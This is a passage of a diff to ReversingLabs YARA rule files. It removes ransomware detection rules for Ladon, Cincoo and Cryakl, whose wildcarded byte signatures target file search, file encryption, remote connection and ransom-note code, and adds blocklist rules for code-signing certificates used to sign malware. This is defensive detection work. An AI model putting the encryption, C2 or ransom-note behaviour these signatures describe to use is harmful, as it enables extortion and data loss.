8B D6 8B CB 8B 45 ?? 8B 38 FF 57 ?? 89 45 ?? 8B 45 ?? 8B 10 FF - 12 52 50 8B 45 ?? E8 ?? ?? ?? ?? 3B 54 24 ?? 75 ?? 3B 04 24 5A 58 72 ?? EB ?? 5A 58 - 7C ?? 8B 45 ?? 50 8D 45 ?? 50 56 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? EB ?? - 8B 45 ?? 50 8D 45 ?? 50 56 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? E8 - ?? ?? ?? ?? 52 50 8B C3 99 29 04 24 19 54 24 ?? 58 5A 52 50 8B 45 ?? E8 ?? ?? ?? ?? - 8B D6 8B 4D ?? 8B 45 ?? 8B 38 FF 57 ?? 8B C3 99 29 45 ?? 19 55 ?? 8B D3 8B C6 E8 ?? - ?? ?? ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 0F 87 ?? ?? ?? ?? EB ?? 0F 8F ?? ?? ?? ?? A1 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B - 48 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? A1 ?? ?? ?? ?? 8B 00 8B 80 ?? - ?? ?? ?? 8B 80 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 18 FF 53 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 - C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB - ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? - ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? - EB ?? 5F 5E 5B 8B E5 5D C3 - } - $search_files = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D - ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 55 ?? 89 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 - 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B - 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 85 C0 0F 94 C3 E9 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 66 83 38 ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 85 C0 75 ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? - ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 0D ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 - 83 38 ?? 74 ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 - 75 ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? - 8B C6 8B 08 FF 51 ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 94 C3 84 DB 0F 85 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 8B 10 FF 52 ?? 8B D8 4B 85 DB 7C ?? - 43 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C6 8B 38 FF - 57 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? E8 ?? ?? ?? ?? FF 85 ?? ?? ?? ?? 4B 75 ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 5A 59 59 - 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 - } - $remote_connection = { - A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? - 8D 4D ?? 8B 45 ?? 8B 90 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 08 FF - 51 ?? 8B 45 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? - 05 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 - 89 20 6A ?? 8D 45 ?? 50 8D 4D ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? - 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? - 8B 45 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 - 74 ?? C7 45 ?? ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 83 EB ?? 8B 1B 68 ?? ?? ?? ?? 8B CB - BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? - 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 8B 90 ?? ?? ?? ?? 8D 45 - ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? B2 ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8B 45 - ?? 8B 90 ?? ?? ?? ?? 8D 45 ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? - ?? 8B 75 ?? 85 F6 74 ?? 83 EE ?? 8B 36 68 ?? ?? ?? ?? 8B CE BA ?? ?? ?? ?? 8B 45 ?? - E8 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 - 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $search_files and $encrypt_files and $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HELP, d.o.o." and pe.signatures [ i ] . serial == "6a:24:1f:fe:96:a6:34:9d:f6:08:d2:2c:02:94:22:68" and 1605052800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Ladon : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Aa1D84779792B57F91Fe7A4Bde041942 : INFO FILE { meta: - description = "Yara rule that detects Ladon ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ebc8f957-cdcf-54eb-bd02-74088cf51768" - date = "2020-06-26" - modified = "2020-07-15" + id = "8ec25296-2e51-53ec-a2f5-a25961079c27" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ladon.yara#L1-L101" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11842-L11860" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "979e3f3bf6a67bf10b6bfdd2eeb722d8836096076b7e88c6d4aca041a1a9eecb" + logic_hash = "682af8c799acaca531724c5b3184b855e64ec4531fcc333a485ba2f63331cdae" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Ladon" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 - 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 - 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? - 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 57 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? 8D 85 - ?? ?? ?? ?? 53 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF 85 DB 74 ?? 90 8B 45 ?? 8B - 34 B8 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 66 8B 08 66 3B 0E 75 ?? 66 85 C9 74 ?? - 66 8B 48 ?? 66 3B 4E ?? 75 ?? 83 C0 ?? 83 C6 ?? 66 85 C9 75 ?? 33 C0 EB ?? 1B C0 83 - C8 ?? 85 C0 74 ?? 47 3B FB 72 ?? 8B 75 ?? 8B 7D ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF - 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 75 ?? 33 DB 83 F8 ?? 0F - 95 C3 FF 15 ?? ?? ?? ?? 5E 8B C3 5B 5F 8B E5 5D C3 - } - $encrypt_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 FF 75 ?? 33 DB 89 5D ?? E8 ?? ?? ?? ?? 8B F8 83 - C4 ?? 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 83 3F ?? 0F 85 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? - FF 77 ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF - 77 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF - 77 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF - 77 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF - 77 ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 89 4D ?? 85 C9 0F 84 ?? ?? ?? ?? 83 3E ?? 0F 85 - ?? ?? ?? ?? 8B 45 ?? 83 38 ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 38 ?? 0F 85 ?? ?? ?? ?? - 8B 45 ?? 83 38 ?? 0F 85 ?? ?? ?? ?? 83 39 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 70 - ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? FF 75 ?? 33 FF C7 45 - ?? ?? ?? ?? ?? 89 5D ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 83 3E ?? 75 ?? 57 - 68 ?? ?? ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? FF 70 ?? 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 - ?? 8D 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 8D 7B ?? A1 ?? - ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 1D ?? ?? ?? ?? 85 F6 74 ?? 56 E8 - ?? ?? ?? ?? 83 C4 ?? 8B C7 5F 5E 5B 8B E5 5D C3 FF 76 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 78 ?? 85 FF 74 ?? 8B 47 ?? 89 45 - } - $encrypt_files_p2 = { - 8B 70 ?? 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 04 75 ?? ?? ?? ?? 50 6A ?? FF 15 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 84 9D ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 0C 75 - ?? ?? ?? ?? 51 50 8D 46 ?? 50 8B 45 ?? FF 70 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 3F - 43 85 FF 75 ?? 68 ?? ?? ?? ?? C7 84 9D ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B 77 ?? 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 46 ?? 50 - 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B C8 89 4D ?? 85 C9 0F 84 ?? ?? ?? ?? - 8B C6 99 6A ?? 2B C2 D1 F8 6A ?? 89 45 ?? 8D 45 ?? 50 51 6A ?? 56 FF 77 ?? FF 15 ?? - ?? ?? ?? 8B 7D ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 57 8B 7D ?? 8B F0 57 56 FF 15 ?? ?? ?? ?? 56 FF 15 - ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 45 ?? FF 70 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? - ?? ?? 8B 7D ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 05 ?? ?? ?? - ?? ?? ?? ?? ?? 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 85 DB 74 ?? FF B4 B5 ?? - ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 46 3B F3 72 ?? 8B 45 ?? 5F 5E - 5B 8B E5 5D C3 - } - $remote_connection = { - 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 50 68 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B E5 5D C3 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 85 C0 0F 88 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 78 ?? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? - 85 F6 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? - 83 C4 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5E 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AXIUM NORTHWESTERN HYDRO INC." and ( pe.signatures [ i ] . serial == "00:aa:1d:84:77:97:92:b5:7f:91:fe:7a:4b:de:04:19:42" or pe.signatures [ i ] . serial == "aa:1d:84:77:97:92:b5:7f:91:fe:7a:4b:de:04:19:42" ) and 1639872000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Cincoo : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_3C98B6872Fbb1F4Ae37A4Caa749D24C2 : INFO FILE { meta: - description = "Yara rule that detects Cincoo ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c7c2773c-5056-5127-8af7-7f5c5a8ea8a1" - date = "2022-06-21" - modified = "2022-06-21" + id = "f4cc9c94-eb96-5380-9e12-cab5ec010ab8" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Cincoo.yara#L1-L78" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11862-L11878" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6a7562cae90754ea75a9fb98ce73ebdb9acf1ad7f28f2240abe6cb592d717ca3" + logic_hash = "c534ad306f85e12eca2336e998120deb4ba8d0d63b8331986ec7fe4ac69ba65a" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Cincoo" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ?? - 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 55 ?? 8B D9 83 7B ?? ?? 8B F3 8B 45 ?? 8B 7D - ?? 89 45 ?? 72 ?? 8B 33 8D 4E ?? 66 8B 06 83 C6 ?? 66 85 C0 75 ?? 2B F1 D1 FE 0F 84 - ?? ?? ?? ?? 3B 73 ?? 0F 85 ?? ?? ?? ?? 88 45 ?? 8D 55 ?? FF 75 ?? 8D 4D ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? C7 45 ?? ?? ?? ?? - ?? 50 8B CB E8 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B - C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? - ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7B ?? ?? 72 ?? 8B 1B 8B 75 ?? 57 56 53 E8 ?? ?? - ?? ?? 85 C0 75 ?? 8B 36 8B CF E8 ?? ?? ?? ?? 84 C0 74 ?? 57 56 E8 ?? ?? ?? ?? 85 C0 - 75 ?? 8B CF E8 ?? ?? ?? ?? 84 C0 75 ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E - 5B 8B E5 5D C3 - } - $encrypt_files = { - 55 8B EC 83 EC ?? 8B 45 ?? 53 8B D9 89 45 ?? B9 ?? ?? ?? ?? 8B C1 56 8B 53 ?? 2B C2 - 8B 75 ?? 89 55 ?? 57 3B C6 0F 82 ?? ?? ?? ?? 8B 7B ?? 8D 04 32 8B F0 89 45 ?? 83 CE - ?? 89 7D ?? 3B F1 76 ?? 8B F1 EB ?? 8B C7 D1 E8 2B C8 3B F9 76 ?? BE ?? ?? ?? ?? EB - ?? 03 C7 3B F0 0F 42 F0 33 C9 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8 81 F9 ?? ?? ?? ?? - 72 ?? 8D 41 ?? 3B C1 0F 86 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? - ?? ?? 8B 55 ?? 8D 78 ?? 83 E7 ?? 89 47 ?? EB ?? 85 C9 74 ?? 51 E8 ?? ?? ?? ?? 8B 55 - ?? 83 C4 ?? 8B F8 EB ?? 33 FF 8B 45 ?? 89 43 ?? 8B 45 ?? 89 73 ?? 8D 34 3A 03 C6 83 - 7D ?? ?? 89 45 ?? 52 72 ?? 8B 33 56 57 E8 ?? ?? ?? ?? FF 75 ?? 8B 45 ?? FF 75 ?? 03 - C7 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 4D ?? 41 C6 00 ?? 81 F9 ?? ?? ?? ?? 72 ?? - 8B 56 ?? 83 C1 ?? 2B F2 8D 46 ?? 83 F8 ?? 77 ?? 8B F2 51 56 E8 ?? ?? ?? ?? 83 C4 ?? - 89 3B 8B C3 5F 5E 5B 8B E5 5D C2 ?? ?? 53 57 E8 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 56 E8 - ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? C6 00 ?? 8B C3 89 3B 5F 5E 5B 8B E5 5D C2 ?? ?? E8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC CC CC 56 8B F1 FF 76 ?? E8 ?? ?? ?? ?? 8B - 4E ?? 83 F9 ?? 72 ?? 8B 06 8D 0C 4D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 - C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? 8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? - ?? ?? ?? 33 C0 C7 46 ?? ?? ?? ?? ?? 66 89 06 5E C3 E8 ?? ?? ?? ?? CC CC CC CC CC CC - 8B 09 85 C9 74 ?? 8B 01 6A ?? FF 10 C3 - } - $drop_ransom_note = { - 52 51 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 8D 4D ?? C6 46 ?? ?? - E8 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B CE C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 8D - 4E ?? 50 E8 ?? ?? ?? ?? 81 CF ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? - ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 89 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 83 F8 ?? - 72 ?? 83 FA ?? 8D B5 ?? ?? ?? ?? 8D 41 ?? 0F 43 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D - 04 0E 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 44 30 ?? ?? 8D 85 ?? ?? ?? ?? - EB - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $drop_ransom_note ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO SMART" and pe.signatures [ i ] . serial == "3c:98:b6:87:2f:bb:1f:4a:e3:7a:4c:aa:74:9d:24:c2" and 1613370100 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Cryakl : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_E4E795Fd1Fd25595B869Ce22Aa7Dc49F : INFO FILE { meta: - description = "Yara rule that detects Cryakl ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5c668278-458e-5b13-83c4-63beab5249ed" - date = "2020-06-26" - modified = "2020-07-15" + id = "9c6d2be7-093c-5ce2-83af-6ab9b46603bc" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Cryakl.yara#L1-L64" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11880-L11898" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "51d50ab1ce021e2facbca3a35af372186287a8d69b66651c9804234a409d9932" + logic_hash = "ced47bd69b58de9e6b2aa7518ccceca088884acb79c0803c3defe6b115a0abb6" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Cryakl" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $enum_and_encrypt_files_1 = { - 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? 